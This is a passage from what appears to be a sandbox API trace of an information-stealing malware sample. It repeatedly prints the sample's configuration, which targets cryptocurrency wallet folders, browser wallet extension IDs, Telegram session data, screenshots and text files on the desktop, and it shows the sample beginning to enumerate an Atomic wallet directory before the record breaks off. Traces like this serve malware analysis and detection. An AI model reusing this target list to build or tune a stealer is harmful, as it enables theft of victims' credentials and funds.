Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.197] lstrlenW (lpString="atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4335 [0266.197] LocalAlloc (uFlags=0x40, uBytes=0x225e) returned 0x6fc408 [0266.197] StrCpyW (in: psz1=0x6f7178, psz2="*" | out: psz1="*") returned="*" [0266.197] LocalFree (hMem=0x6fc408) returned 0x0 [0266.197] StrStrW (lpFirst="*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.197] lstrlenW (lpString="atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4335 [0266.197] LocalAlloc (uFlags=0x40, uBytes=0x225e) returned 0x6fc408 [0266.197] StrCpyW (in: psz1=0x6f9ac0, psz2="*cache*,*IndexedDB*" | out: psz1="*cache*,*IndexedDB*") returned="*cache*,*IndexedDB*" [0266.198] LocalFree (hMem=0x6fc408) returned 0x0 [0266.198] StrToIntW (lpSrc="26") returned 26 [0266.198] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.198] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.198] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="atomic" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic" [0266.198] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6fc408 [0266.198] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf6a8 [0266.198] StrCpyW (in: psz1=0x6bf6a8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic" [0266.198] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\atomic\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e20f8, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8e2, 